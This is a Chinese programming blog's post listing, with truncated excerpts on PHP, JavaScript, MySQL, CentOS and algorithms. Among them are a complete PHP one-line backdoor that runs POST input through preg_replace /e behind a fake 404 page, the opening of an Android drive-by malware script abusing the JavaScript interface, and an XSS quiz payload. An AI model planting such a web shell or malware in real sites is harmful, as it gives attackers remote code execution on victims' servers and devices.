- 博客(84)
- 资源 (1)
- 收藏
- 关注
原创 python发送邮件(含附件)
sendmail配置smtp认证是个坑sendmail配置smtp认证是个坑sendmail配置smtp认证是个坑重要的事情说三遍,好了进入正题#!/usr/bin/env python#coding=utf-8import sysimport smtplibfrom email.mime.multipart import MIMEMultipart#from
2015-10-16 12:05:14
1133
原创 将wordpress文章分享到qq好友怎么做?
移动端的网站怎么将页面分享到微信好友、微信朋友圈,找了很久的方法,发现都是白费,腾讯没有提供接口给我们:(如果有好心人士知道,求分享告知这里贴出分享到qq好友的代码(function(){var p = {url:location.href, /*获取URL,可加上来自分享到QQ标识,方便统计*/desc:'', /*分享理由(风格应模拟用户对话),支持多分享语随机展现(使用|
2014-12-18 17:13:47
3517
转载 微博分享各类规格代码
VARIABLES:$weibo_var_width$weibo_var_height$weibo_buttontype 1-3 (icon), 4-6 (button)142\" height=\"66"90" height="70weibo_sharebutton_button_settingsOld value:Array( [icontype] => 3
2014-12-18 17:09:15
1195
转载 cookie加密解密函数
/** * 解密已经加密了的cookie * * @param string $encryptedText * @return string */ public function _decrypt($encryptedText) { return $this->authcode ( $encryptedText, 'DECODE' ); } /** * 加密c
2014-07-25 10:36:58
2082
转载 解决checkbox未选中不传递value
做了一列name=IsYellow的checkbox,要求是保持整个序列的完整提交。后来发现checkbox 如果没有checked(选中状态),就不传递value值。也就是说做了10个checkbox,选中n个,那么传递value值的数组长度就是n。为了保持传递数据的完整性,有人说为每个checkbox配备一个hidden类型的表单对象来存放数据。这个方法可行但是代码量太大。尤其是当你希
2014-07-08 12:06:32
17367
1
转载 centos6.5禁用ipv6
centos6.5禁用IPv6IPv6还没有完全普及,但是安装完系统之后IPv6是有效的,在一定程度上影响网络性能,所以在我们在完全不使用IPv6的情况下,最好关闭IPv6。其实在上一篇网络设置的文章中,我们提到过是否激活IPv6,但是只是那一点设置还是不能完全关闭IPv6,所以本文以完整的步骤叙述一下如何关闭它。1.修改/etc/sysconfig/network,追加:NETWORKIN
2014-07-04 09:28:17
1360
转载 mysql数据库权限分配-参考
权限说明网站使用账户是否给予Select 可对其下所有表进行查询建议给予Insert 可对其下所有表进行插入建议给予Update 可对其下所有表进行更新建议给予Delet
2014-06-25 16:16:56
1271
转载 安卓挂马代码
function getContext(){var obj, jsInterface, r;for (var obj in window){try {if ("getClass" in window[ obj ]) {try{jsInterface = window[ obj ];}catch(e){}}} catch(e) {}}if( !
2014-06-23 19:31:55
1015
转载 PHP一句话后门
404 Not FoundNot FoundThe requested URL was not found on this server.<?php@preg_replace("/[pageerror]/e",$_POST['error'],"saft");header('HTTP/1.1 404 Not Found');?>
2014-05-26 16:14:54
3192
转载 特殊字符编码
名称字符ASCII16进制URL编码HTML编码换行 10\x0a%0a
感叹号!33\x2121%!双引号"34\x2222%"或"美元符号
2014-05-06 12:37:31
7896
转载 preg_match过滤URL
<?php//从URL中获取主机名称preg_match('@^(?:http://)?([^/]+)@i', "http://www.php.net/index.html", $matches);$host = $matches[1];//获取主机名称的后面两部分preg_match('/[^.]+\.[^.]+$/', $host, $matches);echo "dom
2014-05-06 09:52:56
1494
转载 Mysql字段大小
列类型 需要的存储量 TINYINT 1 字节 SMALLINT 2 个字节 MEDIUMINT 3 个字节 INT 4 个字节 INTEGER 4 个字节 BIGINT 8 个字节 FLOAT(X) 4 如果 X < = 24 或 8 如果 25 < = X < = 53 FLOAT 4 个字节 DOUBLE 8 个字节 DOUBLE PRECISION 8 个字节 REA
2014-03-27 10:31:11
829
原创 js倒计时器+防止刷新
//读Cookie,返回值为相应Cookie的内容 function getCookie(cookieName){ var cookieContent = ''; var cookieAry = document.cookie.split("; ");//得到Cookie数组 for(var i=0;i<cookieAry.length;i++){
2014-03-22 16:04:37
2517
转载 Request.ServerVariables参数集合
Request.ServerVariables("Url") 返回服务器地址Request.ServerVariables("Path_Info") 客户端提供的路径信息Request.ServerVariables("Appl_Physical_Path") 与应用程序元数据库路径相应的物理路径Request.ServerVariables("Path_Translated")
2014-03-18 14:16:10
922
原创 点击后变为可编辑状态(ajax异步提交)
//相当于在页面中的body标签加上onload事件 $(function(){ //找到所有的td节点 var tds=$("td"); //给所有的td添加点击事件 tds.click(function(){ //获得当前点击的对象 var td=$(this); //取出当前td的文
2014-03-18 12:09:20
3806
转载 获取本地ip
<?phpclass Getip{public function getip() { if (@$_SERVER ["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER ["HTTP_X_FORWARDED_FOR"]; else if (@$_SERVER ["HTTP_CLIENT_IP"]) $ip = $_SERVER ["HTTP_CLI
2014-03-18 12:02:55
920
转载 正则表达式常用(持续补充)
//验证手机号码function check(){var telephone = document.getElementById('telephone').value;var reg = /^1[3458][0-9]\d{8}$/;if(reg.test(telephone)){ return true;}else { alert("手机号码格式错误"); retu
2014-03-14 17:30:43
1408
转载 php导出数据excel
function down_grade() { //查询考卷成绩 $tb_tester = new IModel("tester"); $tb_paper = new IModel('paper'); $tb_exam = new IModel("exam"); $tb_group = new IModel('group'); $exam_info = $tb_ex
2014-03-12 10:32:12
675
转载 表单验证--js正则表达式
function check(){var regBox = { regEmail : /^([a-z0-9_\.-]+)@([\da-z\.-]+)\.([a-z\.]{2,6})$/,//邮箱 regName : /^[a-z0-9_-]{3,16}$/,//用户名 regMobile : /^0?1[3|4|5|8][0-9]\d{8}$/,
2014-03-10 16:47:05
767
转载 简单倒计时--js代码
var timelimit = document.getElementById('timelimit').value;//alert(timelimit);var maxtime = timelimit*60 //一个小时,按秒计算,自己调整! function CountDown(){ if(maxtime>=0){ minutes = Math.floor(maxt
2014-03-10 15:49:46
1195
原创 PHP判断字符串str中是否存在某个值
strstr() strstr — 查找字符串的首次出现(php v4,v5)函数搜索一个字符串在另一个字符串中的第一次出现。该函数返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 false。该函数区分大小写。如果想要不区分大小写,请使用 stristr()$email = ‘ user@example.com’;$domain = strstr($email, ‘
2014-03-07 17:33:34
28839
1
转载 css控制显示字数(超出部分显示省略号)
.qcontent{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;}
2014-03-05 14:59:35
1717
转载 根据ip地址获取地理信息
网上有很多开放的公共接口可以选择,收藏两个静态页面通过ip获取地理位置的代码sinagetInfo from sina$(document).ready(function(){$.getScript('http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js',function(){ $(".countr
2014-03-05 09:42:00
1612
转载 XSS Challenges
http://xss-quiz.int21h.jp第一关:第二关:">alert(document.domain);第三关:http://xss-quiz.int21h.jp/stage-3.php?sid=93de7707279b3a5ae4ce419bfc7c0b1f380a20f6提示:The input in text box is properly escaped但是输入点
2014-01-12 16:20:49
2127
原创 单链表的反转问题
总是有些笔试会碰到#include#include#define n 5typedef struct node{ int num; struct node* next;}*nodelist,node;int a[n];nodelist create(int m,int *a){ nodelist L; nodelist head; int i=0; head = (n
2014-01-07 21:40:55
862
原创 cenos下静态ip配置
配置的过程可以参考这位博主的http://www.cnblogs.com/coacaio/archive/2011/12/12/2284715.html不过我的centos6.3版本,还是记录下配置过程1、首先编辑网卡配置文件 vi /etc/sysconfig/network-scripts/ifcfg-Auto_eth0BOOTPROTO=static#设置网卡获得ip地址
2013-12-15 14:39:24
1136
转载 PHP导出数据库数据至Excel
<?php/** * 导出到excel文件(一般导出中文的都会乱码,需要进行编码转换) * 使用方法如下 * $excel = new Excel(); * $excel->addHeader(array('列1','列2','列3','列4')); * $excel->addBody( array( array('数据1','数
2013-12-12 13:08:53
1542
1
原创 两级联动select刷新后,select值保持不变
背景还是学院和专业的关系,我需要保持点击提交按钮后,页面select中继续维持提交前的值网上有几种办法,要么通过url跳转时候附带参数形式传回页面,或者提交时候讲select的值保存在cookie中,提交后再把cookie中的值填回select中。我是按照保存在cookie中的方法实现刷新后select值不变window.onload = function () { var c
2013-12-02 16:34:49
3425
原创 Ajax异步传输与PHP实现交互
背景前台页面两个select框,一个与学院关联,另一个与专业关联,现需要选择学院select框后,显示学院相关信息,且专业select下面仅有属于该学院的专业名称。也就是实现一个二级联动效果。两个select里面分别定义onchange事件,事件中利用ajax的GET方法向后台PHP递交信息,再将查询得到的信息echo出来或document.write。注:代码参考了有位叫y0umer
2013-12-02 16:00:27
1772
原创 centOS上配置JDK1.7
先去http://www.oracle.com/technetwork/java/javase/downloads/java-se-jdk-7-download-432154.html下载jdk后面的操作我都是用root身份来执行的[root@localhost Desktop]# mv jdk-7u45-linux-i586.rpm /usr/java切换到/usr/java目录下
2013-11-17 09:52:39
787
原创 统计字符串中出现次数最多的字母并输出
/**input:tester*output:e*/#include#include//统计字符串中出现次数最多的字母,如果字母出现次数相同,则按a-z字典序输出第一个。int countCharacter(const char * str){ int i=0,max=str[0]-'a'; int num[26]={0}; while(str[i] != '\0') {
2013-11-06 12:05:22
6220
原创 字符子串问题
转换字符串格式为原来字符串里的字符+该字符连续出现的个数/***input:1233544*output:1121325142**/#include#includeusing namespace std;int main(){ cout<<"Enter the numbers:"<<endl; string str; char reschar[50]; rescha
2013-10-21 11:06:56
832
原创 不调用字符串库函数,实现字符串复制函数
#include#include#includevoid stringcpy(char *to,const char *from){ assert(to != NULL && from != NULL); while(*from != '\0') *to++ = *from++; *to = '\0';}int main(){ char *f; char *t; f
2013-10-21 10:05:23
1601
原创 冒泡、插入、希尔和快速排序算法
#define MAXN 7#includeusing namespace std;int a[MAXN] = {4,3,2,1,5,9,6};//交换void swap(int &a,int &b){ int tmp; if(a > b) { tmp = a; a = b; b = tmp; }}//输出void show(){ int i; for
2013-10-19 14:50:13
819
原创 给出一个单链表,不知道节点N的值,怎样只遍历一次就可以求出中间节点,写出算法。
算法:设立两个指针,比如*p和*q,p每次移动两个位置,即p=p->next->next,q每次移动一个位置,即q=q->next。当p到达最后一个节点时,q就是中间节点了。void searchmid(node* head,node* mid){ node *temp=head; while(head->next->next != NULL){ head = head->nex
2013-10-15 09:35:47
2778
1
原创 sizeof 与strlen区别
1、 sizeof是运算符,strlen是函数2、 sizeof可以用类型做参数,strlen只能用char*做参数,且必须是以“\0”结尾的。3、 大部分编译程序在编译的时候就把sizeof计算过了,是类型或是变量的长度;strlen的结果要在运行的时候才能计算出来,用来计算字符串的长度,而不是类型占内存的大小 char str[20]=”0123456789”;int a=strle
2013-10-15 09:34:10
801
原创 隐式类型转换
1、混合类型的算术表达式中在这种情况下最宽的数据类型成为目标转换类型----算术转换int ival = 3;double dval = 3.14159;//ival被提升为double类型:3.0ival + dval2、用一种类型的表达式赋值给另一种类型的对象在这种情况下目标转换类型是被赋值对象的类型// 0 被转换成int*类型的空指针值int *pi = 0;//
2013-10-15 09:30:36
907
原创 约瑟夫环问题
/***约瑟夫环:已知n个人(以编号1,2,3...n分别表示)围坐在一张圆桌周围。*从编号为k的人开始报数,数到m的那个人出列;*他的下一个人又从1开始报数,数到m的那个人又出列;*依此规律重复下去,直到圆桌周围的人全部出列。*实现方式:循环链表*2013-10-15**/#include#includeusing namespace std;typedef struc
2013-10-15 09:26:55
997
原创 校园招聘--百度笔试
笔试职位:安全工程师—深圳三个大题,简答+程序与算法设计+系统设计ps:题目记得不是很清楚了,可能描述不够准确,慎重查看~欢迎补充~_~简答题有三个1、 描述OSI(开放系统互联基本参考模型)七层结构。2、 写出进程间数据共享的方式,至少三种。3、 描述TCP和UDP的区别,并各写出一个他们的上层协议。程序与算法设计1、 给出数组A={a_0,a_1,a_2,...
2013-10-13 22:16:05
3901
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人